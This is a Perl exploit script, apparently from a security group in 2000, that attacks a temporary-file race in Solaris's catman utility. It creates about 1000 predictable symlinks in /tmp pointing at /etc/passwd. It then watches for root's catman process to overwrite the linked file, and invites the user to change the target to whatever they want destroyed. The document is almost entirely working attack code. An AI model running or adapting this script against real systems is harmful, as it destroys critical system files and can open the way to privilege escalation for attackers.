#!/usr/local/bin/perl -w # The problem is catman creates files in /tmp insecurly. They are based on the # PID of the catman process, catman will happily clobber any files that are # symlinked to that file. # The idea of this script is to create a block of symlinks to the target file # with the current PID as a starting point. Depending on what load your # system has this creates 1000 files in /tmp as sman_$currentpid + 1000. # The drawback is you would have to know around when root would be executing # catman. # A better solution would be to monitor for the catman process and create the # link before catman creates the file. I think this is a really small window # however. This worked on a patched Solaris 2.7 box (August 2000 patch # cluster) # SunOS rootabega 5.7 Generic_106541-12 sun4u sparc SUNW,Ultra-1 # 11/21/2000 Vapid Labs. # http://vapid.dhs.org $clobber = "/etc/passwd"; #file to clobber $X=getpgrp(); $Xc=$X; #Constant $Y=$X+1000;#Constant while($X < $Y) { print "Linking /tmp/sman_$X to $clobber :"; # Change $clobber to what you want to clobber. if (symlink ($clobber, "/tmp/sman_$X")) { print "Sucess\n"; } else { print "failed, Busy system?\n";} $X=$X+1; } #Watch /tmp and see if catman is executed in time. while(1) { $list = "/usr/bin/ls -l /tmp | grep sman|grep root |"; open (list,$list) or "die cant open ls...\n"; while() { @args = split "_",$_; chop ($args[1]); if ($args[1] >= $Xc && $args[1] <= $Y){ print "Looks like pid $args[1] is the winner\n cleaning....\n"; `/usr/bin/rm -f /tmp/sman*`; exit(1); } } }